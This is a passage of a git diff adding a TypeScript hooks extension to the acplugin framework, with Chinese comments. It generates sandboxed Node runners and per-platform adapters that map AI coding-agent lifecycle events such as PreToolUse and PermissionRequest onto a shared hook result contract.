+ +export default function acpluginHooks(pi) { + for (const hook of hooks) { + const nativeEvent = events[hook.event]; + if (!nativeEvent) continue; + pi.on(nativeEvent, async (event, context) => { + const input = { ...event, cwd: context?.cwd || packageRoot }; + if (!matches(hook, input)) return undefined; + const result = await execute(hook, input); + if (!result) return undefined; + if (hook.event === 'PreToolUse' && result.decision === 'deny') + return { block: true, reason: result.reason || 'Blocked by acplugin Hook.' }; + if (hook.event === 'UserPromptSubmit' && result.decision === 'deny') + return { action: 'handled' }; + return undefined; + }); + } +} +`; +} diff --git a/packages/extensions/hooks/src/runtime-source.ts b/packages/extensions/hooks/src/runtime-source.ts new file mode 100644 index 0000000..f59e133 --- /dev/null +++ b/packages/extensions/hooks/src/runtime-source.ts @@ -0,0 +1,242 @@ +import path from 'node:path'; +import { MAX_HOOK_IO_BYTES } from './constants.js'; +import type { DiscoveredHook } from './discovery.js'; + +/** + * 生成单个 Hook 的平台中立隔离运行器源码。 + * + * Handler 只拥有有限 I/O、规范结果校验和用户实现调用;相邻 `wire.mjs` + * 由当前 Platform Adapter 贡献,负责平台原生输入与输出协议。生成字符串属于 + * 最终 Plugin 运行时代码,不机械注入开发期中文注释。 + * + * @param hook 当前 Hook 定义及其源码路径。 + * @param runnerDirectory 临时运行器目录,用于计算可打包的相对导入路径。 + * @returns 可交给 Rolldown 的 Node 20 ESM 入口源码。 + */ +export function createRunnerSource(hook: DiscoveredHook, runnerDirectory: string): string { + /** 从生成运行器到用户 hook.ts 的 ESM 相对导入路径。 */ + let importPath = path.relative(runnerDirectory, hook.sourcePath).split(path.sep).join('/'); + if (!importPath.startsWith('.')) + importPath = `./${importPath}`; + return ` +const MAX_BYTES = ${MAX_HOOK_IO_BYTES}; +const MAX_JSON_DEPTH = 128; +const PLATFORM_PATTERN = /^[a-z0-9]+(?:-[a-z0-9]+)*$/; +const EVENT_RESULTS = { + SessionStart: { decisions: ['continue', 'stop'], fields: ['reason', 'additionalContext'] }, + SessionEnd: { decisions: [], fields: [] }, + UserPromptSubmit: { decisions: ['allow', 'deny'], fields: ['reason', 'additionalContext'] }, + PreToolUse: { decisions: ['allow', 'deny'], fields: ['reason', 'updatedInput', 'additionalContext'] }, + PermissionRequest: { decisions: ['allow', 'deny', 'defer'], fields: ['reason'] }, + PostToolUse: { decisions: ['pass', 'block'], fields: ['reason', 'additionalContext'] }, + PreCompact: { decisions: ['continue', 'stop'], fields: ['reason'] }, + PostCompact: { decisions: ['continue', 'stop'], fields: ['reason'] }, + SubagentStart: { decisions: [], fields: ['additionalContext'] }, + SubagentStop: { decisions: ['finish', 'continue'], fields: ['reason'] }, + Stop: { decisions: ['finish', 'continue'], fields: ['reason'] }, +}; +const ERROR_CODES = new Set([ + 'HANDLER_ASYNC_FAILED', 'HANDLER_EXIT_FORBIDDEN', 'HANDLER_FAILED', 'HANDLER_IMPORT_FAILED', + 'HANDLER_INCOMPLETE', 'HANDLER_OUTPUT_FORBIDDEN', 'HANDLER_OUTPUT_TOO_LARGE', + 'INPUT_COMMON_INVALID', 'INPUT_EVENT_INVALID', 'INPUT_EVENT_MISMATCH', 'INPUT_JSON_INVALID', + 'INPUT_KEY_COLLISION', 'INPUT_OBJECT_REQUIRED', 'INPUT_TOO_DEEP', 'INPUT_TOO_LARGE', + 'OUTPUT_TOO_LARGE', 'PLATFORM_EVENT_MISMATCH', 'PLATFORM_INVALID', 'RESULT_DECISION_INVALID', + 'RESULT_EVENT_INVALID', 'RESULT_FIELD_INVALID', 'RESULT_INVALID', 'RESULT_SERIALIZATION_FAILED', + 'RESULT_UPDATED_INPUT_INVALID', 'WIRE_CONTEXT_INVALID', 'WIRE_IMPORT_FAILED', 'WIRE_PLATFORM_MISMATCH', +]); + +function isJsonValue(value, depth = 0, ancestors = new Set()) { + if (value === null || typeof value === 'string' || typeof value === 'boolean') return true; + if (typeof value === 'number') return Number.isFinite(value); + if (typeof value !== 'object' || depth > MAX_JSON_DEPTH || ancestors.has(value)) return false; + const prototype = Object.getPrototypeOf(value); + if (!Array.isArray(value) && prototype !== Object.prototype && prototype !== null) return false; + ancestors.add(value); + try { + if (Array.isArray(value)) { + for (let index = 0; index < value.length; index += 1) { + if (!Object.hasOwn(value, index) || !isJsonValue(value[index], depth + 1, ancestors)) return false; + } + return true; + } + for (const key of Reflect.ownKeys(value)) { + if (typeof key !== 'string' || !isJsonValue(value[key], depth + 1, ancestors)) return false; + } + return true; + } catch { + return false; + } finally { + ancestors.delete(value); + } +} + +function validateResult(event, result, isPlatformEvent) { + if (result === undefined) return; + if (!result || typeof result !== 'object' || Array.isArray(result)) throw new Error('RESULT_INVALID'); + const contract = isPlatformEvent ? { decisions: [], fields: [] } : EVENT_RESULTS[event]; + if (!contract) throw new Error('RESULT_EVENT_INVALID'); + const allowedFields = new Set(['decision', 'systemMessage', ...contract.fields]); + if (Object.keys(result).some(field => !allowedFields.has(field))) throw new Error('RESULT_FIELD_INVALID'); + for (const field of ['reason', 'additionalContext', 'systemMessage']) { + if (result[field] !== undefined && typeof result[field] !== 'string') throw new Error('RESULT_INVALID'); + } + if (result.decision !== undefined && !contract.decisions.includes(result.decision)) + throw new Error('RESULT_DECISION_INVALID'); + if (result.updatedInput !== undefined) { + if (event !== 'PreToolUse' || result.decision !== 'allow' || !isJsonValue(result.updatedInput)) + throw new Error('RESULT_UPDATED_INPUT_INVALID'); + } +} + +async function readInput() { + const chunks = []; + let byteLength = 0; + for await (const value of process.stdin) { + const chunk = Buffer.isBuffer(value) ? value : Buffer.from(value); + byteLength += chunk.byteLength; + if (byteLength > MAX_BYTES) throw new Error('INPUT_TOO_LARGE'); + chunks.push(chunk); + } + try { + return JSON.parse(Buffer.concat(chunks, byteLength).toString('utf8')); + } catch { + throw new Error('INPUT_JSON_INVALID'); + } +} + +async function loadDefinition() { + try { + const namespace = await import(${JSON.stringify(importPath)}); + return namespace.default; + } catch { + throw new Error('HANDLER_IMPORT_FAILED'); + } +} + +async function loadWire() { + try { + const wireUrl = new URL('./wire.mjs', import.meta.url); + return await import(wireUrl.href); + } catch { + throw new Error('WIRE_IMPORT_FAILED'); + } +} + +const safeStdout = process.stdout.write.bind(process.stdout); +const safeStderr = process.stderr.write.bind(process.stderr); +let interceptedBytes = 0; +let interceptedFailure; +let serializedOutput; +let failureCode; +let mainCompleted = false; +let finalized = false; +let finalizationArmed = false; + +function stableErrorCode(error, fallback) { + return error instanceof Error && ERROR_CODES.has(error.message) ? error.message : fallback; +} + +function intercept(chunk, encoding, callback) { + interceptedBytes += Buffer.byteLength(typeof chunk === 'string' ? chunk : chunk); + if (interceptedBytes > MAX_BYTES) { + interceptedFailure = 'HANDLER_OUTPUT_TOO_LARGE'; + throw new Error(interceptedFailure); + } + const completed = typeof encoding === 'function' ? encoding : callback; + if (typeof completed === 'function') queueMicrotask(completed); + return true; +} + +process.stdout.write = intercept; +process.stderr.write = intercept; +process.exit = () => { + throw new Error('HANDLER_EXIT_FORBIDDEN'); +}; + +process.on('uncaughtException', (error) => { + failureCode = stableErrorCode(error, 'HANDLER_ASYNC_FAILED'); + process.exitCode = 1; +}); + +process.on('unhandledRejection', (error) => { + failureCode = stableErrorCode(error, 'HANDLER_ASYNC_FAILED'); + process.exitCode = 1; +}); + +function finalize() { + if (finalized) return; + finalized = true; + if (!mainCompleted && failureCode === undefined) failureCode = 'HANDLER_INCOMPLETE'; + if (interceptedFailure !== undefined) failureCode = interceptedFailure; + else if (interceptedBytes > 0 && failureCode === undefined) failureCode = 'HANDLER_OUTPUT_FORBIDDEN'; + if (failureCode !== undefined) { + safeStderr('acplugin hook error: ' + failureCode + '\\n'); + process.exitCode = 1; + } else if (serializedOutput !== undefined) { + safeStdout(serializedOutput + '\\n'); + } +} + +process.on('beforeExit', () => { + if (finalized) return; + if (finalizationArmed) { + finalize(); + return; + } + finalizationArmed = true; + setImmediate(() => {}); +}); + +async function main() { + const platform = process.argv[2]; + if (typeof platform !== 'string' || !PLATFORM_PATTERN.test(platform)) throw new Error('PLATFORM_INVALID'); + const [definition, wire] = await Promise.all([loadDefinition(), loadWire()]); + if (!wire + || wire.platform !== platform + || typeof wire.contextFor !== 'function' + || typeof wire.inputFor !== 'function' + || typeof wire.outputFor !== 'function') + throw new Error('WIRE_PLATFORM_MISMATCH'); + const declaredEvent = definition && definition.event; + const expectedEvent = typeof declaredEvent === 'string' ? declaredEvent : declaredEvent && declaredEvent.name; + const platformEvent = typeof declaredEvent === 'object' && declaredEvent !== null; + if (platformEvent && declaredEvent.platform !== platform) throw new Error('PLATFORM_EVENT_MISMATCH'); + const raw = await readInput(); + const input = wire.inputFor(raw, expectedEvent, declaredEvent); + const runtimeContext = wire.contextFor(process.env); + if (!runtimeContext + || typeof runtimeContext !== 'object' + || typeof runtimeContext.pluginRoot !== 'string' + || typeof runtimeContext.pluginData !== 'string') + throw new Error('WIRE_CONTEXT_INVALID'); + let result; + try { + result = await definition.run(input, Object.freeze({ + platform, + pluginRoot: runtimeContext.pluginRoot, + pluginData: runtimeContext.pluginData, + })); + } catch { + throw new Error('HANDLER_FAILED'); + } + validateResult(expectedEvent, result, platformEvent); + const output = wire.outputFor(expectedEvent, result); + if (output) { + try { + serializedOutput = JSON.stringify(output); + } catch { + throw new Error('RESULT_SERIALIZATION_FAILED'); + } + if (Buffer.byteLength(serializedOutput) > MAX_BYTES) throw new Error('OUTPUT_TOO_LARGE'); + } +} + +main().then(() => { + mainCompleted = true; +}).catch((error) => { + mainCompleted = true; + failureCode = stableErrorCode(error, 'HOOK_FAILED'); + process.exitCode = 1; +}); +`; +} diff --git a/packages/extensions/hooks/src/types.ts b/packages/extensions/hooks/src/types.ts new file mode 100644 index 0000000..2c04841 --- /dev/null +++ b/packages/extensions/hooks/src/types.ts @@ -0,0 +1,294 @@ +import type { JsonValue, PlatformId } from '@tokenroll/acplugin'; + +/** acplugin 1.0 在所有官方 Adapter 之间保持稳定语义的 Hook 事件。 */ +export const HOOK_EVENTS = [ + 'SessionStart', + 'SessionEnd', + 'UserPromptSubmit', + 'PreToolUse', + 'PermissionRequest', + 'PostToolUse', + 'PreCompact', + 'PostCompact', + 'SubagentStart', + 'SubagentStop', + 'Stop', +] as const; + +/** Claude Code 当前公开、但不进入 acplugin 规范事件联合类型的专属事件。 */ +export const CLAUDE_CODE_PLATFORM_EVENTS = [ + 'Setup', + 'UserPromptExpansion', + 'PermissionDenied', + 'PostToolUseFailure', + 'PostToolBatch', + 'Notification', + 'MessageDisplay', + 'TaskCreated', + 'TaskCompleted', + 'StopFailure', + 'TeammateIdle', + 'InstructionsLoaded', + 'ConfigChange', + 'CwdChanged', + 'DirectoryAdded', + 'FileChanged', + 'WorktreeCreate', + 'WorktreeRemove', + 'Elicitation', + 'ElicitationResult', +] as const; + +/** 规范 Hook 事件名称联合类型。 */ +export type HookEvent = typeof HOOK_EVENTS[number]; + +/** 当前 Claude Code Adapter 能识别的平台专属事件名称。 */ +export type ClaudeCodePlatformHookEvent = typeof CLAUDE_CODE_PLATFORM_EVENTS[number]; + +/** 把非规范事件显式限定到一个 Platform,避免悄然污染可移植事件集合。 */ +export interface PlatformHookEvent { + /** 唯一接收该事件的 Platform ID。 */ + readonly platform: string; + /** 由对应 Adapter Schema 识别的平台原生事件名。 */ + readonly name: string; +} + +/** Hook 作者可以声明的规范事件或显式平台限定事件。 */ +export type HookEventDeclaration = HookEvent | PlatformHookEvent; + +/** 所有 Hook 输入共享的 camelCase 会话字段。 */ +export interface HookInputBase { + /** 当前定义声明的规范事件或平台限定事件。 */ + readonly event: Event; + /** 当前 AI 平台会话 ID。 */ + readonly sessionId: string; + /** 平台提供时的会话记录文件路径。 */ + readonly transcriptPath?: string | null; + /** Hook 触发时的工作目录。 */ + readonly cwd: string; + /** 平台提供时的权限模式。 */ + readonly permissionMode?: string; + /** 保留经过递归 camelCase 规范化的平台扩展字段。 */ + readonly [field: string]: unknown; +} + +/** 每个规范事件在共享字段之外保证提供的 camelCase 输入。 */ +export interface HookInputByEvent { + /** 会话开始原因。 */ + readonly SessionStart: { readonly source: string }; + /** 会话结束原因。 */ + readonly SessionEnd: { readonly reason: string }; + /** 即将提交给模型的用户提示。 */ + readonly UserPromptSubmit: { readonly prompt: string }; + /** 工具调用执行前的名称、输入和调用 ID。 */ + readonly PreToolUse: { + readonly toolName: string; + readonly toolInput: unknown; + readonly toolUseId: string; + }; + /** 即将进入平台审批流程的工具调用。 */ + readonly PermissionRequest: { + readonly toolName: string; + readonly toolInput: unknown; + readonly toolUseId?: string; + }; + /** 已完成工具调用的输入和平台结果。 */ + readonly PostToolUse: { + readonly toolName: string; + readonly toolInput: unknown; + readonly toolUseId: string; + readonly toolResponse: unknown; + }; + /** 压缩前的触发原因和可选自定义指令。 */ + readonly PreCompact: { + readonly trigger: string; + readonly customInstructions?: string | null; + }; + /** 压缩完成后的触发原因。 */ + readonly PostCompact: { readonly trigger: string }; + /** 新启动子代理的身份和类型。 */ + readonly SubagentStart: { + readonly agentId: string; + readonly agentType: string; + }; + /** 准备停止子代理时的平台状态。 */ + readonly SubagentStop: { + readonly agentId: string; + readonly agentType: string; + readonly stopHookActive?: boolean; + readonly lastAssistantMessage?: string | null; + }; + /** 主流程准备停止时的平台状态。 */ + readonly Stop: { + readonly stopHookActive: boolean; + readonly lastAssistantMessage?: string | null; + }; +} + +/** 根据事件声明选择精确的规范输入;平台事件保留共享和扩展字段。 */ +export type HookInput + = HookInputBase + & (Event extends HookEvent ? HookInputByEvent[Event] : Readonly>); + +/** 由生成的 Handler 提供给用户实现的只读运行时上下文。 */ +export interface HookRuntimeContext { + /** 当前实际触发 Handler 的 Platform。 */ + readonly platform: PlatformId; + /** 已安装 Plugin 的只读根目录。 */ + readonly pluginRoot: string; + /** 平台为 Plugin 提供的可写持久数据目录。 */ + readonly pluginData: string; +} + +/** 只向平台或用户界面提供提示、不改变控制流的结果。 */ +export interface HookAdvisoryResult { + /** 平台支持时显示的系统级消息。 */ + readonly systemMessage?: string; +} + +/** 可以向模型会话追加上下文的结果。 */ +export interface HookContextResult extends HookAdvisoryResult { + /** 追加到当前模型上下文的文本。 */ + readonly additionalContext?: string; +} + +/** 携带决策和可选解释的规范结果。 */ +export interface HookDecisionResult extends HookAdvisoryResult { + /** 当前事件允许的规范决策值。 */ + readonly decision?: Decision; + /** 随决策提供给平台的安全解释。 */ + readonly reason?: string; +} + +/** 控制生命周期继续或停止的规范结果。 */ +export interface HookFlowResult extends HookAdvisoryResult { + /** 当前流程允许的规范决策值。 */ + readonly decision?: Decision; + /** 平台支持时用于说明停止或继续原因的文本。 */ + readonly reason?: string; +} + +/** 每个规范事件允许返回的精确 camelCase 结果。 */ +export interface HookResultByEvent { + /** 会话开始时可以追加上下文或停止当前流程。 */ + readonly SessionStart: HookContextResult & HookFlowResult<'continue' | 'stop'>; + /** 会话结束结果只提供 advisory 信息。 */ + readonly SessionEnd: HookAdvisoryResult; + /** 用户提示提交前可以拒绝提示或追加上下文。 */ + readonly UserPromptSubmit: HookContextResult & HookDecisionResult<'allow' | 'deny'>; + /** 工具执行前可以决策、替换输入并追加上下文。 */ + readonly PreToolUse: HookContextResult & HookDecisionResult<'allow' | 'deny'> & { + readonly updatedInput?: JsonValue; + }; + /** 权限请求可以直接允许、拒绝或交回平台处理。 */ + readonly PermissionRequest: HookDecisionResult<'allow' | 'deny' | 'defer'>; + /** 工具执行后可以放行或把反馈作为阻断结果。 */ + readonly PostToolUse: HookContextResult & HookDecisionResult<'pass' | 'block'>; + /** 压缩前可以继续或停止压缩。 */ + readonly PreCompact: HookFlowResult<'continue' | 'stop'>; + /** 压缩后可以继续或停止后续流程。 */ + readonly PostCompact: HookFlowResult<'continue' | 'stop'>; + /** 子代理开始时可以追加上下文。 */ + readonly SubagentStart: HookContextResult; + /** 子代理结束前可以完成或要求继续。 */ + readonly SubagentStop: HookDecisionResult<'finish' | 'continue'>; + /** 主流程结束前可以完成或要求继续。 */ + readonly Stop: HookDecisionResult<'finish' | 'continue'>; +} + +/** 根据事件选择结果类型;平台专属事件首期只开放 advisory 输出。 */ +export type HookResult + = void | (Event extends HookEvent ? HookResultByEvent[Event] : HookAdvisoryResult); + +/** Claude Code Adapter 允许覆盖的单 Hook 平台字段。 */ +export interface ClaudeCodeHookOptions { + /** 覆盖当前 Hook 的 Claude Code matcher。 */ + readonly matcher?: string; + /** 覆盖当前 Hook 的 Claude Code 超时秒数。 */ + readonly timeout?: number; + /** 覆盖 Hook 执行期间显示的状态消息。 */ + readonly statusMessage?: string; +} + +/** Codex Adapter 允许覆盖的单 Hook 平台字段。 */ +export interface CodexHookOptions extends ClaudeCodeHookOptions { + /** 调整 Codex 在溢写前直接注入模型的上下文 Token 上限。 */ + readonly additionalContextLimit?: number; +} + +/** Cursor、Antigravity、OpenCode 与 Pi Adapter 共享的受控执行选项。 */ +export interface PortableHookOptions { + /** 覆盖当前 Hook 的工具或事件匹配表达式。 */ + readonly matcher?: string; + /** 覆盖 Handler 的超时秒数。 */ + readonly timeout?: number; + /** 平台支持时显示的 Handler 状态消息。 */ + readonly statusMessage?: string; +} + +/** Hook 的平台专属补充字段;已知 Platform 获得精确类型,其他键由 Adapter 验证。 */ +export type HookPlatformOptions = Readonly<{ + readonly 'claude-code'?: ClaudeCodeHookOptions; + readonly 'codex'?: CodexHookOptions; + readonly 'cursor'?: PortableHookOptions; + readonly 'antigravity'?: PortableHookOptions; + readonly 'opencode'?: PortableHookOptions; + readonly 'pi'?: PortableHookOptions; +}> & Readonly>; + +/** 由 defineHook 注入且不出现在作者输入中的私有品牌。 */ +const hookBrand: unique symbol = Symbol('acplugin.hook'); + +/** 单个 `src/hooks//hook.ts` 默认导出的完整 Hook 定义。 */ +export interface HookDefinition { + /** 仅由 defineHook 注入的名义类型品牌。 */ + readonly [hookBrand]: true; + /** 需要订阅的规范事件或显式平台限定事件。 */ + readonly event: Event; + /** 所有 Adapter 默认继承的匹配表达式。 */ + readonly matcher?: string; + /** 所有 Adapter 默认继承的 Handler 超时秒数。 */ + readonly timeout?: number; + /** 平台支持时显示的 Handler 状态消息。 */ + readonly statusMessage?: string; + /** 按 Platform ID 补充且由对应 Adapter Schema 验证的字段。 */ + readonly platforms?: HookPlatformOptions; + /** 处理 camelCase 输入并返回对应事件的规范结果。 */ + readonly run: ( + input: HookInput, + context: HookRuntimeContext, + ) => HookResult | Promise>; +} + +/** 配置作者声明的 Hook 字段,不包含框架私有品牌。 */ +export type HookDefinitionInput + = Omit, typeof hookBrand>; + +/** + * 为 Hook 定义提供事件级类型推断,并注入不可枚举的运行时品牌。 + * + * @param definition 配置作者提供的事件、匹配字段和处理函数。 + * @returns 冻结且只能由当前包识别的完整 Hook 定义。 + */ +export function defineHook( + definition: HookDefinitionInput, +): HookDefinition { + /** 使用浅副本隔离作者随后对原始定义对象的字段替换。 */ + const hook = { ...definition } as HookDefinitionInput & { [hookBrand]?: true }; + Object.defineProperty(hook, hookBrand, { value: true, enumerable: false }); + return Object.freeze(hook) as HookDefinition; +} + +/** + * 判断未知导出是否由当前包的 defineHook 工厂创建。 + * + * @param value TypeScript 描述文件加载后的未知默认导出。 + * @returns 私有品牌存在且基础对象形态有效时返回 true。 + */ +export function isHookDefinition(value: unknown): value is HookDefinition { + if (value === null || typeof value !== 'object') + return false; + /** 读取私有 Symbol 品牌所需的安全索引视图。 */ + const candidate = value as Record; + return candidate[hookBrand] === true; +} diff --git a/packages/extensions/hooks/src/wire-source.ts b/packages/extensions/hooks/src/wire-source.ts new file mode 100644 index 0000000..ea48410 --- /dev/null +++ b/packages/extensions/hooks/src/wire-source.ts @@ -0,0 +1,218 @@ +import { + ANTIGRAVITY_PLATFORM_ID, + CLAUDE_CODE_PLATFORM_ID, + CODEX_PLATFORM_ID, + CURSOR_PLATFORM_ID, + OPENCODE_PLATFORM_ID, + PI_PLATFORM_ID, +} from './constants.js'; + +/** Hooks Extension 当前内置 Adapter 的 Platform ID。 */ +export type HookAdapterPlatform + = | typeof CLAUDE_CODE_PLATFORM_ID + | typeof CODEX_PLATFORM_ID + | typeof CURSOR_PLATFORM_ID + | typeof ANTIGRAVITY_PLATFORM_ID + | typeof OPENCODE_PLATFORM_ID + | typeof PI_PLATFORM_ID; + +/** + * 创建由单个 Platform Adapter 贡献的 Hook wire profile。 + * + * profile 与平台中立 Handler 相邻安装,独立负责原生 stdin 校验、camelCase + * 输入转换和规范结果到平台 stdout JSON 的映射。即使两个首发平台当前共享 + * 多数 wire 形态,新增 Adapter 也不需要修改或重新构建共享 Handler。 + * + * @param platform 当前贡献 profile 的官方 Platform ID。 + * @returns 可作为只读 `wire.mjs` Artifact 写入 Plugin 的 ESM 源码。 + */ +export function createWireSource(platform: HookAdapterPlatform): string { + /** 当前 Platform 优先读取的 Plugin 根环境变量。 */ + const pluginRootEnvironment = platform === CLAUDE_CODE_PLATFORM_ID + ? 'CLAUDE_PLUGIN_ROOT' + : platform === CURSOR_PLATFORM_ID + ? 'CURSOR_PLUGIN_ROOT' + : platform === ANTIGRAVITY_PLATFORM_ID + ? 'ANTIGRAVITY_PLUGIN_ROOT' + : 'PLUGIN_ROOT'; + /** 当前 Platform 兼容读取的 Plugin 根回退环境变量。 */ + const fallbackPluginRootEnvironment = platform === CLAUDE_CODE_PLATFORM_ID + ? 'PLUGIN_ROOT' + : 'CLAUDE_PLUGIN_ROOT'; + /** 当前 Platform 优先读取的可写数据目录环境变量。 */ + const pluginDataEnvironment = platform === CLAUDE_CODE_PLATFORM_ID + ? 'CLAUDE_PLUGIN_DATA' + : 'PLUGIN_DATA'; + /** 当前 Platform 兼容读取的可写数据目录回退环境变量。 */ + const fallbackPluginDataEnvironment = platform === CLAUDE_CODE_PLATFORM_ID + ? 'PLUGIN_DATA' + : 'CLAUDE_PLUGIN_DATA'; + return ` +export const platform = ${JSON.stringify(platform)}; + +export function contextFor(environment) { + return { + pluginRoot: environment[${JSON.stringify(pluginRootEnvironment)}] + || environment[${JSON.stringify(fallbackPluginRootEnvironment)}] + || '', + pluginData: environment[${JSON.stringify(pluginDataEnvironment)}] + || environment[${JSON.stringify(fallbackPluginDataEnvironment)}] + || '', + }; +} + +const MAX_DEPTH = 128; +const EVENT_INPUTS = { + SessionStart: { source: 'string' }, + SessionEnd: { reason: 'string' }, + UserPromptSubmit: { prompt: 'string' }, + PreToolUse: { tool_name: 'string', tool_input: 'present', tool_use_id: 'string' }, + PermissionRequest: { tool_name: 'string', tool_input: 'present' }, + PostToolUse: { tool_name: 'string', tool_input: 'present', tool_use_id: 'string', tool_response: 'present' }, + PreCompact: { trigger: 'string' }, + PostCompact: { trigger: 'string' }, + SubagentStart: { agent_id: 'string', agent_type: 'string' }, + SubagentStop: { agent_id: 'string', agent_type: 'string' }, + Stop: { stop_hook_active: 'boolean' }, +}; + +function camel(key) { + return key.replace(/_([a-z])/g, (_, letter) => letter.toUpperCase()); +} + +function normalize(value, depth = 0) { + if (depth > MAX_DEPTH) throw new Error('INPUT_TOO_DEEP'); + if (Array.isArray(value)) return value.map(child => normalize(child, depth + 1)); + if (value && typeof value === 'object') { + const entries = []; + const fields = new Set(); + for (const [key, child] of Object.entries(value)) { + const field = camel(key); + if (fields.has(field)) throw new Error('INPUT_KEY_COLLISION'); + fields.add(field); + entries.push([field, normalize(child, depth + 1)]); + } + return Object.fromEntries(entries); + } + return value; +} + +function validateInput(raw, expectedEvent) { + if (!raw || typeof raw !== 'object' || Array.isArray(raw)) throw new Error('INPUT_OBJECT_REQUIRED'); + if (typeof raw.session_id !== 'string' || typeof raw.cwd !== 'string') throw new Error('INPUT_COMMON_INVALID'); + if (raw.transcript_path !== undefined && raw.transcript_path !== null && typeof raw.transcript_path !== 'string') + throw new Error('INPUT_COMMON_INVALID'); + if (raw.hook_event_name !== expectedEvent) throw new Error('INPUT_EVENT_MISMATCH'); + const contract = EVENT_INPUTS[expectedEvent]; + if (!contract) return; + for (const [field, type] of Object.entries(contract)) { + if (type === 'present' ? !(field in raw) : typeof raw[field] !== type) + throw new Error('INPUT_EVENT_INVALID'); + } +} + +export function inputFor(raw, expectedEvent, declaredEvent) { + if (platform !== 'claude-code' && platform !== 'codex') { + raw = { + ...raw, + session_id: raw.session_id ?? raw.sessionId ?? raw.conversation_id ?? '', + cwd: raw.cwd ?? raw.workspaceRoot ?? '', + hook_event_name: expectedEvent, + }; + if (expectedEvent === 'SessionStart') raw.source ??= 'startup'; + if (expectedEvent === 'SessionEnd') raw.reason ??= 'complete'; + if (expectedEvent === 'UserPromptSubmit') raw.prompt ??= raw.message ?? raw.text ?? ''; + if (expectedEvent === 'PreToolUse' || expectedEvent === 'PostToolUse' || expectedEvent === 'PermissionRequest') { + raw.tool_name ??= raw.toolName ?? raw.tool?.name ?? ''; + raw.tool_input ??= raw.toolInput ?? raw.input ?? raw.args ?? {}; + raw.tool_use_id ??= raw.toolUseId ?? raw.callId ?? ''; + } + if (expectedEvent === 'PostToolUse') raw.tool_response ??= raw.toolResponse ?? raw.output ?? raw.result ?? null; + if (expectedEvent === 'PreCompact' || expectedEvent === 'PostCompact') raw.trigger ??= raw.trigger ?? 'automatic'; + if (expectedEvent === 'SubagentStart' || expectedEvent === 'SubagentStop') { + raw.agent_id ??= raw.agentId ?? ''; + raw.agent_type ??= raw.agentType ?? ''; + } + if (expectedEvent === 'Stop') raw.stop_hook_active ??= raw.stopHookActive ?? false; + } + validateInput(raw, expectedEvent); + const input = normalize(raw); + input.event = declaredEvent; + return input; +} + +function addContext(output, event, additionalContext) { + if (!additionalContext) return; + output.hookSpecificOutput = { hookEventName: event, additionalContext }; +} + +export function outputFor(event, result) { + if (!result) return undefined; + if (platform === 'opencode' || platform === 'pi') return { event, ...result }; + const output = {}; + if (result.systemMessage) output.systemMessage = result.systemMessage; + if (event === 'PreToolUse') { + if (result.decision === 'allow' || result.decision === 'deny') { + output.hookSpecificOutput = { + hookEventName: event, + permissionDecision: result.decision, + ...(result.reason ? { permissionDecisionReason: result.reason } : {}), + ...(result.updatedInput === undefined ? {} : { updatedInput: result.updatedInput }), + ...(result.additionalContext ? { additionalContext: result.additionalContext } : {}), + }; + } else { + addContext(output, event, result.additionalContext); + } + } else if (event === 'PermissionRequest') { + if (result.decision === 'allow' || result.decision === 'deny') { + output.hookSpecificOutput = { + hookEventName: event, + decision: { + behavior: result.decision, + ...(result.reason ? { message: result.reason } : {}), + }, + }; + } else if (result.decision === 'defer' && result.reason && !output.systemMessage) { + output.systemMessage = result.reason; + } + } else if (event === 'PostToolUse') { + if (result.decision === 'block') { + output.decision = 'block'; + output.reason = result.reason || 'Blocked by hook.'; + } + addContext(output, event, result.additionalContext); + } else if (event === 'UserPromptSubmit') { + if (result.decision === 'deny') { + output.decision = 'block'; + output.reason = result.reason || 'Blocked by hook.'; + } + addContext(output, event, result.additionalContext); + } else if (event === 'Stop' || event === 'SubagentStop') { + if (result.decision === 'continue') { + output.decision = 'block'; + output.reason = result.reason || 'Continue before stopping.'; + } + } else if (event === 'SessionStart') { + if (result.decision === 'stop') { + output.continue = false; + output.stopReason = result.reason || 'Stopped by hook.'; + } + addContext(output, event, result.additionalContext); + } else if (event === 'PreCompact' && result.decision === 'stop') { + if (platform === 'claude-code') { + output.decision = 'block'; + output.reason = result.reason || 'Compaction stopped by hook.'; + } else { + output.continue = false; + output.stopReason = result.reason || 'Compaction stopped by hook.'; + } + } else if (event === 'PostCompact' && result.decision === 'stop') { + output.continue = false; + output.stopReason = result.reason || 'Compaction stopped by hook.'; + } else if (event === 'SubagentStart') { + addContext(output, event, result.additionalContext); + } + return Object.keys(output).length ? output : undefined; +} +`; +} diff --git a/packages/extensions/hooks/test/hooks.test.ts b/packages/extensions/hooks/test/hooks.test.ts new file mode 100644 index 0000000..3405e9c --- /dev/null +++ b/packages/extensions/hooks/test/hooks.test.ts @@ -0,0 +1,824 @@ +import { spawn } from 'node:child_process'; +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import type { BuildResult, RunProjectOptions } from '@tokenroll/acplugin'; +import hooks, { HOOK_EVENTS } from '../src/index.js'; + +/** 当前测试文件所在仓库的绝对根目录。 */ +const repositoryRoot = path.resolve(import.meta.dirname, '../../../..'); + +/** 测试描述文件通过临时包入口加载的 Hooks Extension 构建产物。 */ +const extensionEntry = path.join(repositoryRoot, 'packages/extensions/hooks/dist/index.mjs'); + +/** 需要自定义 Platform 时由配置文件直接加载的主包构建产物。 */ +const acpluginEntry = path.join(repositoryRoot, 'packages/acplugin/dist/index.mjs'); + +/** 当前测试创建并在 afterEach 中统一删除的临时工程。 */ +const temporaryRoots: string[] = []; + +/** 单个测试 Hook 的目录 ID 和 defineHook 参数源码。 */ +interface HookFixture { + /** `src/hooks/` 使用的规范目录 ID。 */ + readonly id: string; + /** defineHook 之前写入描述文件的可选额外 import。 */ + readonly imports?: string; + /** 传入 defineHook 的 TypeScript 对象表达式。 */ + readonly definition: string; +} + +/** 创建临时规范工程时使用的可选配置。 */ +interface ProjectFixtureOptions { + /** 当前工程需要写入的 Hook 作者资源。 */ + readonly hooks?: readonly HookFixture[]; + /** 添加到配置文件 import 区域的源码。 */ + readonly configImports?: string; + /** 添加到顶层配置对象的字段源码。 */ + readonly configFields?: string; + /** 是否提供一个带 LICENSE 的本地第三方依赖。 */ + readonly dependency?: boolean; + /** 直接传入 `hooks(...)` 的可选 TypeScript 参数表达式。 */ + readonly hooksOptions?: string; +} + +/** 子进程 Handler 的稳定退出状态和有限输出。 */ +interface HandlerResult { + /** Node 子进程退出码。 */ + readonly code: number | null; + /** Handler 写入标准输出的完整文本。 */ + readonly stdout: string; + /** Handler 写入标准错误的安全文本。 */ + readonly stderr: string; +} + 